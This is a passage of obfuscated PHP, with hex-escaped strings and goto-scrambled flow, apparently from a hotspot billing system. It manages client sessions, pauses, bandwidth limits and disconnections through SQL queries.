$o0LUm = ActiveClient::whereRaw("\50\x20\163\x74\x61\x74\165\x73\40\75\40\62\40\101\x4e\104\x20\141\x64\x6d\x69\156\137\x70\141\165\x73\x65\137\157\166\x65\x72\162\151\x64\x65\40\75\40\60\40\x41\x4e\x44\40\x61\x6c\154\157\x77\x5f\x70\x61\x75\163\x65\40\75\40\60\40\51\x20\117\122\x20\164\x79\x70\145\x20\75\40\62")->get(); goto RceNT; dOQZI: Qc_ZU: goto T4V6R; vDcFT: if (!($fNcl2->maxPauseLimit() > 0)) { goto tEbvz; } goto EMzo5; AilSg: $MQ8I7[] = "\40\50\x20\x73\x74\141\164\x75\x73\x20\x3d\40\62\40\x41\116\104\40\x74\171\x70\x65\40\75\40\x31\x20\101\x4e\x44\x20\141\x64\155\151\156\x5f\x70\141\x75\163\x65\x5f\x6f\x76\x65\x72\x72\151\144\x65\40\75\40\x30\40\101\116\104\x20\x72\x65\155\x61\x69\156\x69\x6e\147\137\164\x69\x6d\x65\40\74\x20{$yNx8X}\40\51\40"; goto Dk_7r; ZO5oq: sGfdN: goto NgPde; WxejM: $MQ8I7[] = "\40\x28\40\163\164\141\164\165\163\40\x3d\x20\x32\40\101\x4e\104\40\164\x79\x70\145\40\75\40\61\x20\x41\116\x44\x20\x61\144\155\151\x6e\137\160\141\165\163\145\x5f\x6f\166\145\x72\x72\151\144\x65\x20\75\x20\60\x20\101\116\x44\40\116\x4f\124\x20\154\141\163\164\137\160\141\165\x73\x65\144\x20\111\123\x20\116\125\114\x4c\x20\101\x4e\x44\40\50\x74\151\x6d\145\163\x74\x61\x6d\x70\144\x69\146\x66\50\115\x49\116\125\124\x45\x2c\154\x61\x73\x74\x5f\x70\x61\x75\x73\145\144\54\40\x6e\x6f\167\x28\51\51\51\40\x3e\x3d\40{$YHgr5}\40\51\x20"; goto XdDsP; S1lKS: BSrJQ: goto oMRdR; Myxly: foreach ($npdKK as $x_shr) { goto fQnMf; HfL3C: $S1ZLV->{$GOaxV}(); goto qtifL; fQnMf: $GOaxV = "\x63\x6f\156\156\145\143\164"; goto kS4XJ; kS4XJ: $S1ZLV = new SessionManager($x_shr, $GOaxV); goto HfL3C; qtifL: leq8t: goto Jm6ym; Jm6ym: } goto Q2jR9; FuZIG: if (!$NwsFJ) { goto pgPC5; } goto rqslD; ckbc0: if (!$WuonE) { goto REuia; } goto WxejM; uzclW: PisofiHelper::publishEvent("\157\156\x63\x6c\151\x65\x6e\164\x64\x69\163\143\157\x6e\156\145\x63\164\x65\144", ["\x63\x6c\x69\x65\156\x74\x73" => $WUgFF]); goto Z5eZC; UvTi_: szChj: goto E0wew; advfA: $MQ8I7[] = "\x20\x28\x20\160\x61\165\x73\145\x5f\x63\157\165\x6e\164\x20\76\x20{$eeyTC}\51\x20"; goto SDaAF; b8vPb: $G9_nl = $v14_V->autoRemoveExpiredSessions() ? "\40\x4f\122\x20\50\163\x74\141\164\165\163\40\x3d\40\64\x29" : ''; goto C_HYf; GZnAv: DB::update("\xd\12\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\125\120\104\101\x54\105\x20\x63\x6f\x6e\156\145\x63\x74\151\157\156\137\163\x65\163\163\151\x6f\156\163\40\x53\105\124\40\x73\x74\141\164\165\163\40\x3d\40\62\40\xd\xa\x20\40\40\x20\40\40\x20\40\40\40\40\40\40\x20\40\40\x20\40\40\40\x57\110\x45\x52\x45\40\x73\x74\141\x74\x75\x73\40\x3d\x20\61\x20\15\xa\40\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x41\x4e\x44\40\x69\x64\40\x4e\x4f\x54\x20\111\116\40\50\123\105\x4c\x45\x43\124\40\163\145\163\x73\151\157\x6e\x5f\151\144\40\x46\x52\x4f\x4d\x20\x61\143\x74\151\x76\145\x5f\x63\x6c\151\145\x6e\164\163\40\127\110\105\122\105\x20\50\x4e\117\x54\x20\x73\x65\163\x73\151\157\156\x5f\x69\x64\40\x49\123\40\x4e\125\x4c\x4c\51\40\x41\x4e\104\x20\163\164\141\164\165\163\40\x3d\40\61\x20\51\xd\12\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20"); goto NXb6i; FD4Lz: foreach ($Qmbfj as $PdOaO) { goto pe0D4; cZvmr: $WUgFF[] = ["\x69\x64" => $PdOaO->id, "\x6d\141\143" => $PdOaO->mac, "\x69\160\x5f\141\144\x64\x72\145\163\163" => $PdOaO->ip_address]; goto Dy0KI; pe0D4: $ZbY1s->disconnect($PdOaO->mac, $PdOaO->ip_address, $PdOaO->mark, $PdOaO->download_rate, $PdOaO->upload_rate, $PdOaO->download_rate); goto FZgTc; FZgTc: xM_io($PdOaO); goto kow6l; KUYaQ: $x_shr->delete(); goto trSr7; trSr7: NES0a: goto oQ3pq; kow6l: $x_shr = ConnectionSession::find($PdOaO->session_id); goto wWUQR; Dy0KI: ukS2y: goto SsLq2; oQ3pq: $PdOaO->delete(); goto cZvmr; LJfWe: OldConnectionSession::create($x_shr->toArray()); goto KUYaQ; wWUQR: if (!$x_shr) { goto NES0a; } goto LJfWe; SsLq2: } goto dOQZI; GJok3: foreach ($oO83D as $kl3Ka) { goto uV6zT; eI0bN: $S1ZLV->{$GOaxV}(); goto gYZ0g; uV6zT: echo "\x41\165\x74\157\x20\x43\157\156\164\151\x6e\165\x65\40\123\x65\163\x73\151\x6f\156\x20{$kl3Ka->id}" . PHP_EOL; goto xC2F8; xC2F8: $GOaxV = "\x63\157\156\x6e\145\x63\x74"; goto cfvX3; gYZ0g: wqGox: goto rhW3p; cfvX3: $S1ZLV = new SessionManager($kl3Ka, $GOaxV); goto eI0bN; rhW3p: } goto S1lKS; cegkq: yx3Gs: goto z2lLR; GL8ck: if (!$v14_V->autoContinue()) { goto SZHIz; } goto UfcZ2; KVfML: $kQttn = true; goto O3nkg; UfcZ2: $oO83D = ConnectionSession::whereRaw("\x69\144\40\x49\116\x20\x28\xd\xa\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\123\105\x4c\x45\103\124\x20\x4d\x49\116\50\x69\144\51\x20\155\151\156\x5f\151\x64\40\106\x52\117\x4d\40\143\x6f\x6e\x6e\x65\143\164\x69\157\156\137\x73\x65\x73\x73\151\157\156\x73\15\12\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\40\40\40\127\x48\x45\x52\x45\x20\x28\x43\x41\x53\105\40\15\xa\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\40\127\x48\x45\x4e\x20\x65\x78\160\x69\162\141\x74\151\x6f\x6e\137\x64\141\x74\x65\x20\111\123\x20\116\x55\114\x4c\40\x54\110\105\116\40\163\x74\141\x74\165\x73\xd\12\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\40\40\40\40\x20\40\x20\40\40\x57\x48\x45\x4e\x20\50\x65\x78\160\151\x72\141\x74\151\157\x6e\x5f\144\141\164\x65\x20\76\75\40\x4e\x4f\127\50\x29\x29\x20\124\x48\x45\116\40\x73\164\141\164\165\163\15\xa\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\40\105\x4c\x53\105\x20\x34\15\12\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\40\40\40\40\105\x4e\104\51\40\x3c\76\x20\64\15\12\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\40\x20\x20\x20\40\107\122\117\x55\120\40\x42\x59\40\103\117\116\103\x41\x54\50\x6d\141\143\54\x20\151\160\137\x61\144\144\162\145\163\163\51\xd\12\40\40\40\40\40\40\40\40\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\x29\x20\101\116\x44\x20\x28\x6d\141\x63\54\40\151\160\x5f\x61\x64\144\162\145\163\x73\51\x20\116\117\x54\x20\x49\x4e\40\50\123\105\x4c\105\x43\124\40\x6d\141\143\x2c\40\x69\x70\x5f\141\144\144\162\145\x73\163\40\106\x52\x4f\x4d\x20\x61\143\164\x69\x76\x65\137\x63\x6c\x69\x65\156\x74\x73\51\40\xd\xa\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\40\101\x4e\x44\x20\50\103\x41\x53\x45\x20\xd\12\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\127\110\105\116\x20\145\x78\160\151\162\141\x74\151\157\156\137\144\x61\164\x65\x20\111\123\40\116\x55\114\x4c\x20\x54\110\105\x4e\x20\x73\x74\x61\164\x75\163\15\12\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\127\110\105\x4e\40\50\145\x78\160\x69\x72\141\x74\151\157\x6e\x5f\x64\141\x74\x65\40\76\75\40\116\x4f\127\x28\51\x29\40\x54\110\105\x4e\x20\x73\x74\141\x74\x75\163\xd\xa\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\x45\114\x53\x45\40\x34\15\xa\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\40\x45\116\x44\x29\40\74\76\40\x34\40\101\116\104\40\114\x45\x4e\107\x54\110\x28\x54\x52\111\x4d\50\155\x61\x63\51\51\40\76\40\60\15\12\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40")->get(); goto GJok3; NXb6i: DB::update("\15\xa\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\x55\x50\x44\x41\124\x45\x20\x63\x6f\156\156\x65\143\x74\151\x6f\156\137\163\145\x73\x73\x69\157\x6e\163\x20\163\54\40\141\x63\164\151\x76\145\137\x63\154\151\145\x6e\x74\x73\40\x61\xd\12\40\40\x20\40\40\x20\40\40\40\40\40\40\40\x20\x20\40\40\x20\40\40\x53\x45\124\xd\12\40\40\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\163\x2e\163\x74\x61\164\165\163\x20\75\40\141\x2e\163\x74\x61\x74\x75\163\54\xd\xa\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x61\x2e\165\x70\x64\141\164\x65\144\x5f\x61\x74\x20\75\x20\x4e\x4f\127\x28\51\54\xd\xa\40\40\40\40\x20\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\163\x2e\162\145\155\x61\x69\156\151\x6e\147\137\x74\151\155\x65\40\75\x20\x49\x46\x28{$MaKOl}\x20\76\x20\141\x2e\x72\x65\155\141\151\x6e\151\x6e\147\x5f\164\151\x6d\x65\54\40\60\54\x20\107\122\105\101\x54\x45\x53\124\50\x30\54\40\x61\56\x72\x65\155\x61\x69\x6e\151\156\147\137\x74\151\155\145\x20\55\40{$MaKOl}\51\51\x2c\40\xd\xa\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x61\56\162\x65\155\141\x69\156\151\156\147\x5f\164\151\155\x65\x20\x3d\40\x49\x46\50{$MaKOl}\40\x3e\x20\141\56\162\x65\x6d\141\x69\x6e\151\156\147\x5f\x74\151\155\x65\54\40\x30\54\40\x47\x52\x45\x41\124\105\123\124\x28\60\x2c\x20\x61\x2e\x72\145\155\x61\x69\x6e\151\156\x67\x5f\x74\151\155\x65\40\x2d\40{$MaKOl}\x29\51\x2c\xd\xa\x20\40\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x73\x2e\x64\x6f\167\156\154\157\141\x64\x5f\x72\141\164\145\x20\x3d\40\141\x2e\144\157\x77\156\x6c\x6f\x61\144\x5f\x72\x61\x74\145\54\15\xa\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x73\x2e\x75\160\154\157\141\144\x5f\x72\141\x74\x65\x20\75\40\141\x2e\165\160\x6c\x6f\x61\x64\x5f\162\x61\164\x65\54\xd\xa\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\163\56\165\160\154\157\x61\144\x5f\141\x75\164\157\x20\75\40\x61\56\x75\x70\154\x6f\141\144\x5f\x61\165\x74\x6f\x2c\xd\xa\40\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\40\40\40\163\x2e\x64\x6f\167\x6e\x6c\x6f\x61\144\137\141\x75\164\157\x20\x3d\x20\141\56\144\157\x77\x6e\x6c\157\x61\x64\x5f\x61\165\x74\157\54\xd\xa\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\40\x20\40\40\x73\x2e\144\157\167\156\154\x6f\141\x64\137\x75\x73\x61\147\145\40\75\x20\x61\x2e\144\x6f\x77\156\154\x6f\141\144\x5f\165\163\x61\147\145\54\xd\12\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\40\40\40\40\40\40\40\40\x73\56\x75\x70\x6c\157\x61\144\x5f\x75\163\x61\147\x65\40\75\x20\x61\x2e\x75\160\x6c\157\x61\x64\137\x75\x73\x61\x67\145\54\15\12\x20\40\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x61\x2e\x65\x78\x70\x69\162\x61\164\x69\157\x6e\137\x64\141\164\x65\40\x3d\x20\x73\56\145\170\x70\151\x72\x61\164\151\157\156\137\x64\x61\x74\145\54\xd\12\x20\40\40\40\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\141\x2e\x61\x6c\154\157\x77\137\x70\141\x75\163\x65\40\75\40\x73\56\x61\x6c\154\157\167\x5f\x70\141\165\163\145\x2c\15\12\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x61\56\x61\x6c\154\157\x77\x5f\143\x6f\156\x76\x65\162\163\x69\157\156\x20\x3d\x20\x73\x2e\141\154\154\157\167\137\x63\157\156\166\x65\x72\x73\x69\157\x6e\54\xd\xa\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\x20\x20\40\40\40\40\x20\40\40\141\56\141\154\x6c\157\x77\137\x73\150\141\162\151\x6e\147\x20\x3d\x20\163\56\141\x6c\154\157\167\x5f\163\150\141\162\x69\156\x67\x2c\xd\xa\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\163\56\141\144\x6d\x69\x6e\137\160\141\165\163\x65\137\x6f\x76\145\162\162\151\144\x65\x20\75\x20\x61\x2e\141\x64\155\x69\156\137\x70\x61\x75\163\x65\137\157\166\145\x72\x72\x69\x64\145\54\xd\xa\40\40\x20\40\40\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\x73\x2e\142\x61\156\x64\167\151\144\x74\x68\137\154\151\x6d\151\x74\40\x3d\x20\x61\x2e\142\141\x6e\x64\x77\151\144\x74\x68\x5f\x6c\151\x6d\x69\x74\54\xd\12\40\x20\x20\40\40\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x73\56\x70\x61\x75\x73\x65\137\x63\x6f\165\x6e\x74\40\75\40\x28\103\x41\123\105\40\127\110\x45\116\x20\163\x2e\164\x79\160\x65\40\75\40\61\40\x54\x48\105\116\x20\x73\56\x70\x61\x75\x73\145\x5f\x63\x6f\165\156\164\40\105\x4c\123\x45\x20\60\40\x45\x4e\104\51\54\xd\12\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x61\x2e\x70\x61\165\x73\145\x5f\143\x6f\165\x6e\x74\40\75\x20\50\103\101\x53\105\40\127\110\x45\116\40\163\x2e\164\171\x70\145\40\75\40\61\x20\124\110\105\116\40\163\x2e\x70\141\x75\163\x65\x5f\x63\157\x75\x6e\x74\40\x45\x4c\x53\105\x20\x30\40\x45\x4e\x44\51\x2c\15\12\x20\x20\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\141\x2e\x74\x79\160\x65\x20\x3d\40\163\56\164\x79\160\x65\54\15\xa\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\x61\56\163\164\141\164\165\x73\40\x3d\40\x28\103\x41\123\x45\40\xd\xa\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\40\40\40\x20\x20\x20\40\40\40\x20\40\x57\110\x45\116\40\163\56\163\164\141\x74\x75\x73\x20\x3d\40\x30\40\124\110\105\x4e\x20\141\x2e\x73\164\141\164\165\163\xd\12\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\40\40\127\x48\x45\x4e\40\x73\x2e\x65\170\x70\151\162\141\164\x69\x6f\x6e\x5f\x64\x61\164\145\x20\111\123\x20\x4e\x55\114\114\40\124\x48\105\116\x20\x61\56\163\164\141\164\x75\163\15\12\40\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\x20\127\110\105\116\40\x28\x73\56\145\170\160\x69\162\141\x74\151\157\156\137\x64\x61\164\145\40\76\x20\116\x4f\127\50\x29\x29\x20\124\110\x45\116\x20\50\15\12\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\40\x43\101\x53\105\40\x57\x48\x45\x4e\40\141\56\163\164\x61\164\x75\x73\x20\75\x20\64\40\x54\x48\105\x4e\x20\x32\x20\x45\x4c\123\105\40\141\56\163\x74\x61\x74\x75\163\40\105\x4e\x44\xd\12\40\40\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\51\x20\xd\xa\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\x45\114\123\x45\x20\64\15\12\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x45\x4e\x44\x29\54\15\12\40\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\163\56\x64\141\x74\141\40\x3d\40\x61\56\x64\141\x74\x61\15\xa\40\40\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\40\40\x20\x20\x20\40\127\x48\105\x52\105\x20\x73\56\x69\x64\40\75\x20\141\x2e\x73\x65\x73\163\x69\157\x6e\137\x69\x64\40\101\x4e\104\x20\x61\56\163\164\x61\x74\165\163\x20\x3d\x20\61"); goto b8vPb; C_HYf: $Qmbfj = ActiveClient::whereRaw("\50\163\x74\141\x74\x75\163\x20\x3d\x20\61\x20\101\x4e\104\x20\x72\x65\155\141\x69\156\151\x6e\147\137\164\x69\155\145\40\74\x3d\40\60\x20\x41\116\x44\x20\x74\x79\x70\145\40\75\40\61\51\x20\x4f\122\40\50\x20\163\164\141\164\x75\163\x20\x3d\40\x31\40\101\x4e\x44\40\50\144\x6f\167\x6e\x6c\157\x61\144\x5f\165\x73\x61\147\145\40\53\40\165\x70\154\157\x61\144\137\x75\163\x61\147\x65\51\40\x3e\x20\142\x61\x6e\x64\167\x69\144\x74\150\137\x6c\x69\x6d\x69\x74\40\101\x4e\104\40\x74\171\160\145\x20\x3d\40\62\51\40\117\x52\x20\x28\40\163\x74\141\164\165\x73\x20\x3d\x20\x31\x20\x41\x4e\104\40\142\x61\156\144\x77\x69\x64\x74\x68\x5f\154\x69\x6d\x69\164\40\x3c\75\40\x30\x20\x41\x4e\104\x20\164\x79\x70\x65\x20\75\40\62\x29\40\117\122\40\x28\163\x74\141\164\x75\163\40\75\40\x30\x29\40{$G9_nl}")->get(); goto FD4Lz; d2EhO: if (!(count($Qmbfj) > 0)) { goto bhAlM; } goto FJIUw; jTbSO: if (!(count($WUgFF) > 0)) { goto DgR13; } goto uzclW; PCcX3: if (!(count($npdKK) > 0)) { goto sGfdN; } goto Myxly; zv2TZ: $bR93t = ConnectionSession::whereRaw("\114\105\116\x47\x54\110\x28\124\x52\x49\x4d\x28\155\x61\x63\x29\51\40\74\75\40\60")->get(); goto P5Ej0; z2lLR: $kQttn = true; goto UvTi_; UDmg5: zmWHl: goto GL8ck; O3nkg: l0RYq: goto n8kRy; E0wew: ea51C: goto hlk3L; EMzo5: $eeyTC = intval($fNcl2->maxPauseLimit()); goto advfA; XdDsP: REuia: goto bVaD7; Z5eZC: DgR13: goto K0_Pu; HTMRP: if (!($o0LUm->count() > 0)) { goto szChj; } goto OE2_f; ouG9Y: SZHIz: goto z3pDA; IdQEB: $o0LUm = ActiveClient::whereRaw(join("\x20\117\122\x20", $MQ8I7))->get(); goto HTMRP; hhSL1: xSjpV: goto v3XD4; OE2_f: foreach ($o0LUm as $Zvfey) { goto TgvHe; y8wq_: $Zvfey->save(); goto qX7TX; GcO9A: $Zvfey->status = 1; goto y8wq_; qX7TX: hihxL: goto JqAbb; TgvHe: $e82BO = $ZbY1s->connect($Zvfey->mac, $Zvfey->ip_address, $Zvfey->mark, $Zvfey->download_rate, $Zvfey->upload_rate, $Zvfey->download_rate); goto GcO9A; JqAbb: } goto cegkq; QH0Fq: ConnectionSession::whereRaw("\x73\164\x61\x74\165\163\x20\x3d\40\64\x20\x4f\122\40\50\40\116\117\x54\40\145\170\x70\x69\162\141\164\x69\x6f\156\x5f\144\x61\x74\x65\x20\x49\123\40\116\125\x4c\114\40\101\x4e\x44\x20\x65\170\x70\151\x72\141\164\x69\x6f\x6e\x5f\144\x61\x74\x65\40\x3c\x20\116\117\127\50\x29\x20\101\116\104\40\163\164\141\x74\x75\163\40\74\76\x20\x30\40\51\40")->delete(); goto YqbLP; v3XD4: $npdKK = ConnectionSession::whereRaw("\40\151\144\40\x49\x4e\x20\50\15\12\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\123\105\114\105\x43\x54\x20\x4d\111\x4e\50\x63\x73\56\x69\x64\x29\x20\15\xa\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\106\122\117\115\x20\143\157\x6e\156\145\143\164\151\x6f\156\x5f\163\145\163\163\151\x6f\x6e\x73\x20\143\x73\x20\112\x4f\111\x4e\40\x61\143\x74\x69\x76\145\137\x63\154\151\x65\x6e\164\163\40\141\143\x20\xd\12\40\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x4f\116\40\x61\x63\56\x73\x65\x73\x73\151\x6f\x6e\137\151\x64\x20\75\x20\x63\163\x2e\x69\x64\xd\xa\x20\40\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\127\x48\105\x52\105\x20\141\x63\x2e\140\163\x74\141\164\165\163\x60\x20\x3d\x20\62\x20\101\116\104\x20\x61\143\56\141\144\155\x69\156\x5f\160\141\x75\163\x65\x5f\157\x76\x65\x72\x72\151\x64\145\x20\75\x20\x30\40\101\116\104\x20\x63\x73\x2e\141\x6c\154\x6f\167\x5f\x70\141\165\x73\145\40\75\40\60\xd\xa\x20\40\40\x20\40\x20\40\x20\40\40\x20\40\40\40\40\40\x20\40\x20\x20\x47\122\x4f\125\120\40\102\131\40\143\157\156\x63\x61\164\50\x63\163\56\151\x70\x5f\141\x64\144\162\x65\163\x73\54\40\143\163\x2e\155\141\143\x29\15\12\x20\x20\40\40\40\40\40\40\40\40\40\40\x20\x20\40\x20\40\40\x20\40\51\40\101\116\x44\40\x73\x74\141\x74\x75\x73\40\74\76\x20\x30")->get(); goto PCcX3; RceNT: if (!($o0LUm->count() > 0)) { goto l0RYq; } goto v2R7Q; T4V6R: if (!$v14_V->autoRemoveExpiredSessions()) { goto cj2KJ; } goto QH0Fq; NgPde: $Qmbfj = ActiveClient::whereRaw("\x20\163\145\x73\163\151\157\156\137\151\144\x20\x4e\117\124\40\111\116\x20\x28\x73\x65\x6c\x65\x63\164\40\151\x64\x20\x66\x72\x6f\155\40\x63\x6f\156\156\145\x63\164\151\x6f\x6e\x5f\x73\x65\163\163\151\x6f\x6e\163\51\x20\x4f\122\40\163\x65\163\163\151\157\156\x5f\151\144\40\x49\123\x20\116\125\114\x4c\40\x4f\122\x20\x4c\x45\116\107\124\110\x28\124\122\111\x4d\x28\x6d\x61\x63\x29\51\x20\74\75\x20\60")->get(); goto ZAend; rqslD: $MQ8I7[] = "\x20\x28\x20\x73\164\141\164\x75\x73\x20\75\40\62\40\101\x4e\x44\40\x74\171\x70\x65\40\x3d\40\x31\x20\101\116\104\x20\x61\144\x6d\151\156\x5f\160\x61\165\163\145\x5f\x6f\166\x65\162\x72\151\144\145\x20\75\x20\x30\x20\101\x4e\x44\40\162\x65\155\x61\151\x6e\151\x6e\x67\137\x74\x69\x6d\145\x20\76\40{$PAnZ3}\40\x29\x20"; goto Tp1Vo; Tp1Vo: pgPC5: goto vDcFT; P5Ej0: foreach ($bR93t as $PSI2C) { goto YcNPW; AUiGG: $PSI2C->save(); goto otQRX; V1kHQ: aeIfU: goto L_26X; eAA57: $PSI2C->save(); goto KD5Q9; bSJcL: if ($nxpFe) { goto aeIfU; } goto xrcFm; cc0CS: $YJ9wt = ClientAccount::find($PSI2C->client_id); goto HT2qc; HshRp: if (empty(trim($PSI2C->client_id))) { goto JU57J; } goto cc0CS; L_26X: $PSI2C->mac = $nxpFe->mac; goto AUiGG; xogfl: if (!$nxpFe) { goto SMi_P; } goto yfHOS; AdDOV: ymNAC: goto MReJN; xENEx: $nxpFe = ConnectionSession::where("\151\160\137\141\144\x64\162\x65\x73\x73", $PSI2C->ip_address)->first(); goto bSJcL; Vhzds: Ep6to: goto eiTqi; HT2qc: if ($YJ9wt) { goto KSKBj; } goto BNoLH; xrcFm: $PSI2C->delete(); goto x_b5z; FyJsk: $PSI2C->save(); goto bcfiS; KD5Q9: $hAPLI = true; goto GQjoC; GQjoC: SMi_P: goto EQOOJ; eiTqi: SCWW_: goto qIsd_; knjNo: if ($hAPLI) { goto Ep6to; } goto xENEx; x_b5z: goto p0tau; goto V1kHQ; I_5oL: KSKBj: goto yht1D; yfHOS: $PSI2C->mac = $nxpFe->mac; goto eAA57; yht1D: $PSI2C->mac = $YJ9wt->mac; goto FyJsk; BNoLH: $nxpFe = ConnectionSession::where("\143\154\x69\145\156\164\137\151\144", $PSI2C->client_id)->first(); goto xogfl; YcNPW: $hAPLI = false; goto HshRp; EQOOJ: goto ymNAC; goto I_5oL; MReJN: JU57J: goto knjNo; bcfiS: $hAPLI = true; goto AdDOV; otQRX: p0tau: goto Vhzds; qIsd_: } goto hhSL1; zqVFD: $kQttn = true; goto ZO5oq; Dk_7r: WiZMX: goto FuZIG; n8kRy: $MQ8I7 = []; goto ckbc0; Q2jR9: JlAgH: goto zqVFD; ZNpTY: bhAlM: goto jTbSO; v2R7Q: foreach ($o0LUm as $Zvfey) { goto st12p; cljOw: $Zvfey->save(); goto BNEhX; st12p: $e82BO = $ZbY1s->connect($Zvfey->mac, $Zvfey->ip_address, $Zvfey->mark, $Zvfey->download_rate, $Zvfey->upload_rate, $Zvfey->download_rate); goto JsPqb; BNEhX: RCbLd: goto Q02tJ; JsPqb: $Zvfey->status = 1; goto cljOw; Q02tJ: } goto SOxrw; oMRdR: if (!(count($oO83D) > 0)) { goto ziDh6; } goto PmMHQ; SDaAF: tEbvz: goto cSjbg; FJIUw: $kQttn = true; goto ZNpTY; hlk3L: DB::update("\xd\12\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\125\120\x44\101\124\105\40\141\143\x74\x69\166\145\x5f\x63\154\x69\145\156\164\163\40\x61\x2c\40\x75\163\x61\x67\x65\163\x20\165\xd\12\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\123\105\x54\15\12\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\40\141\56\x64\x6f\x77\x6e\x6c\157\x61\x64\x5f\165\163\x61\147\145\x20\75\x20\165\x2e\144\157\167\x6e\x6c\x6f\141\x64\x5f\x75\163\x61\x67\x65\54\15\12\40\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\141\56\x75\160\154\x6f\141\x64\137\x75\x73\141\x67\x65\x20\x3d\40\x75\56\165\x70\154\x6f\141\144\137\165\163\x61\x67\145\15\xa\40\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\127\110\105\x52\x45\40\x61\56\155\x61\143\x20\x3d\x20\165\56\155\141\x63\x20\x41\116\x44\x20\x61\56\x69\x70\137\141\x64\